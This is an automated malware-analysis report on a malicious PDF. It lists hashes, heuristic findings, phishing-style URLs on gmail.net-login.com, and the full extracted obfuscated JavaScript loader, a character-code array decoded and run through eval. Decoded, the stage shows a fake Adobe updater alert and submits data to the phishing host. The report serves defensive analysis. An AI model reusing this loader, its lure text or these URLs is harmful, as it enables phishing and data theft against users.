Malicious PDF — malware analysis report

Static analysis result for SHA-256 199684fedc59e1d0…

MALICIOUS

PDF

90.3 KB Created: 2018-06-12 09:41:10 -04:00 First seen: 2021-01-11
MD5: cf68f9d29ee9bc323122e63e2367331c SHA-1: e881247cb2ee27ed518ac2b4f39da9c4dd74fa27 SHA-256: 199684fedc59e1d00c5107bbcb65cd01382cce201bd25395feb6d7688493593f
178 Risk Score

Machine Learning

  • Nyx PDF Classifier suspicious score 0.4662

Heuristics 8

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            }
eval(decrypt(sourceCode,(new Date().getSeconds() % 1)))
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Visual download / call-to-action button lure low SE_DOWNLOAD_BUTTON
    Document contains a call-to-action phrase ('Click here to download', 'Download Now', etc.) — low-signal unless other findings point to a malicious workflow
  • External URI info PDF_URI
    PDF contains an external URL action
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://gmail.net-login.com/XcmVyjaXBpZWD50X2lkPTAQ4MjIxTkODAwHOSZjYW1wAYWdlnbl9ydW5faWQ9MjIwONzUxMCZhY3Rpb249Y2xpY2smdXJsPWh0dHBzOi8vc2VjdXJlZC1sb2dpbi5uZXQvcGFnZXMvZWY5MDczMGFkZDA= PDF link annotation
    • http://gmail.net-login.com/XcmVPjaXBpZWz50X2lkPTSQ4MjIxSWODAwcOSZjYW1wiYWzlnbl9ydW5faWQ9MjIwoNzUxMCZhY3Rpb249YXR0YWNobWVudA==#FDFReferenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/tiff/1.0/In PDF document text
    • http://ns.adobe.com/exif/1.0/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xBD6 5409 bytes
SHA-256: ef12b81e2968139b13b71d8fdcc98f30e372e31816fd5fc40695b1fc1bfa3cd0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "100,105,118,105,100,101,66,121,32,61,32,34,49,48,50,44,49,49,55,44,49,49,48,44,57,57,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,51,50,44,49,48,48,44,49,49,49,44,57,57,44,55,57,44,49,49,50,44,49,48,49,44,49,49,48,44,49,48,49,44,49,48,48,44,52,48,44,52,49,44,49,51,44,49,50,51,44,49,51,44,57,55,44,49,49,50,44,49,49,50,44,52,54,44,57,55,44,49,48,56,44,49,48,49,44,49,49,52,44,49,49,54,44,52,48,44,49,50,51,44,57,57,44,55,55,44,49,49,53,44,49,48,51,44,53,56,44,51,50,44,51,57,44,56,55,44,49,48,49,44,51,50,44,49,49,48,44,49,48,49,44,49,48,49,44,49,48,48,44,51,50,44,49,49,54,44,49,49,49,44,51,50,44,49,49,55,44,49,49,50,44,49,48,48,44,57,55,44,49,49,54,44,49,48,49,44,51,50,44,49,50,49,44,49,49,49,44,49,49,55,44,49,49,52,44,51,50,44,49,48,48,44,49,49,49,44,57,57,44,49,49,55,44,49,48,57,44,49,48,49,44,49,49,48,44,49,49,54,44,51,50,44,49,49,52,44,49,48,49,44,49,49,48,44,49,48,48,44,49,48,49,44,49,49,52,44,49,48,53,44,49,49,48,44,49,48,51,44,51,50,44,49,48,49,44,49,49,48,44,49,48,51,44,49,48,53,44,49,49,48,44,49,48,49,44,52,54,44,51,50,44,54,55,44,49,48,56,44,49,48,53,44,57,57,44,49,48,55,44,51,50,44,55,57,44,55,53,44,51,50,44,49,49,54,44,49,49,49,44,51,50,44,57,57,44,49,49,49,44,49,49,48,44,49,49,54,44,49,48,53,44,49,49,48,44,49,49,55,44,49,48,49,44,52,52,44,51,50,44,49,49,57,44,49,48,52,44,49,48,49,44,49,49,48,44,51,50,44,49,49,50,44,49,49,52,44,49,49,49,44,49,48,57,44,49,49,50,44,49,49,54,44,49,48,49,44,49,48,48,44,51,50,44,57,55,44,49,48,56,44,49,48,56,44,49,49,49,44,49,49,57,44,51,50,44,49,49,52,44,49,48,49,44,49,48,57,44,49,49,49,44,49,49,54,44,49,48,49,44,51,50,44,57,57,44,49,49,49,44,49,49,48,44,49,49,48,44,49,48,49,44,57,57,44,49,49,54,44,49,48,53,44,49,49,49,44,49,49,48,44,51,50,44,49,49,54,44,49,49,49,44,51,50,44,54,53,44,49,48,48,44,49,49,49,44,57,56,44,49,48,49,44,51,50,44,49,49,53,44,49,48,49,44,49,49,52,44,49,49,56,44,49,48,49,44,49,49,52,44,49,49,53,44,52,54,44,51,57,44,52,52,44,51,50,44,57,57,44,56,52,44,49,48,53,44,49,49,54,44,49,48,56,44,49,48,49,44,53,56,44,51,50,44,51,57,44,54,53,44,49,48,48,44,49,49,49,44,57,56,44,49,48,49,44,51,50,44,54,53,44,57,57,44,49,49,52,44,49,49,49,44,57,56,44,57,55,44,49,49,54,44,51,50,44,56,53,44,49,49,50,44,49,48,48,44,57,55,44,49,49,54,44,49,48,49,44,49,49,52,44,51,57,44,52,52,44,49,49,48,44,55,51,44,57,57,44,49,49,49,44,49,49,48,44,53,56,44,51,50,44,53,49,44,49,50,53,44,52,49,44,53,57,44,49,51,44,57,55,44,49,49,50,44,49,49,50,44,52,54,44,49,48,48,44,49,49,49,44,57,57,44,52,54,44,49,49,53,44,49,49,55,44,57,56,44,49,48,57,44,49,48,53,44,49,49,54,44,55,48,44,49,49,49,44,49,49,52,44,49,48,57,44,52,48,44,51,57,44,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,53,56,44,52,55,44,52,55,44,49,48,51,44,49,48,57,44,57,55,44,49,48,53,44,49,48,56,44,52,54,44,49,49,48,44,49,48,49,44,49,49,54,44,52,53,44,49,48,56,44,49,49,49,44,49,48,51,44,49,48,53,44,49,49,48,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,56,56,44,57,57,44,49,48,57,44,56,54,44,56,48,44,49,48,54,44,57,55,44,56,56,44,54,54,44,49,49,50,44,57,48,44,56,55,44,49,50,50,44,53,51,44,52,56,44,56,56,44,53,48,44,49,48,56,44,49,48,55,44,56,48,44,56,52,44,56,51,44,56,49,44,53,50,44,55,55,44,49,48,54,44,55,51,44,49,50,48,44,56,51,44,56,55,44,55,57,44,54,56,44,54,53,44,49,49,57,44,57,57,44,55,57,44,56,51,44,57,48,44,49,48,54,44,56,57,44,56,55,44,52,57,44,49,49,57,44,49,48,53,44,56,57,44,56,55,44,49,50,50,44,49,48,56,44,49,49,48,44,57,56,44,49,48,56,44,53,55,44,49,50,49,44,49,48,48,44,56,55,44,53,51,44,49,48,50,44,57,55,44,56,55,44,56,49,44,53,55,44,55,55,44,49,48,54,44,55,51,44,49,49,57,44,49,49,49,44,55,56,44,49,50,50,44,56,53,44,49,50,48,44,55,55,44,54,55,44,57,48,44,49,48,52,44,56,57,44,53,49,44,56,50,44,49,49,50,44,57,56,44,53,48,44,53,50,44,53,55,44,56,57,44,56,56,44,56,50,44,52,56,44,56,57,44,56,55,44,55,56,44,49,49,49,44,57,56,44,56,55,44,56,54,44,49,49,55,44,49,48,48,44,54,53,44,54,49,44,54,49,44,51,53,44,55,48,44,54,56,44,55,48,44,51,57,44,52,49,44,53,57,44,49,51,44,49,50,53,44,49,51,44,49,51,44,49,48,48,44,49,49,49,44,57,57,44,55,57,44,49,49,50,44,49,48,49,44,49,49,48,44,49,48,49,44,49,48,48,44,52,48,44,52,49,44,53,57,44,49,48,34,59,32,10,102,117,110,99,116,105,111,110,32,105,115,80,68,70,67,104,101,99,107,83,117,109,40,115,116,114,44,32,106,117,109,112,41,123,10,118,97,114,32,114,101,115,117,108,116,32,61,32,34,34,59,10,118,97,114,32,108,105,115,116,32,61,32,115,116,114,46,115,112,108,105,116,40,39,44,39,41,59,10,32,32,32,32,32,32,32,32,102,111,114,32,40,118,97,114,32,105,61,48,59,32,105,32,60,32,108,105,115,116,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,10,32,32,32,32,32,32,32,32,32,32,32,32,114,101,115,117,108,116,32,43,61,32,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,108,105,115,116,91,105,93,32,45,32,106,117,109,112,41,59,10,32,32,32,32,32,32,32,32,125,10,32,32,32,32,32,32,32,32,114,101,116,117,114,110,32,114,101,115,117,108,116,59,10,32,32,32,32,32,32,32,32,125,10,101,118,97,108,40,105,115,80,68,70,67,104,101,99,107,83,117,109,40,100,105,118,105,100,101,66,121,44,40,110,101,119,32,68,97,116,101,40,41,46,103,101,116,83,101,99,111,110,100,115,40,41,32,37,32,49,41,41,41,10"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }
eval(decrypt(sourceCode,(new Date().getSeconds() % 1)))
font_00_cff_off00015518.bin pdf-font-stream PDF embedded font (cff) at offset 0x15518 4575 bytes
SHA-256: 9340d372ad75a105fdb1627a30e96f892e0dc7d9588c0150cf06b4fa72281cc0

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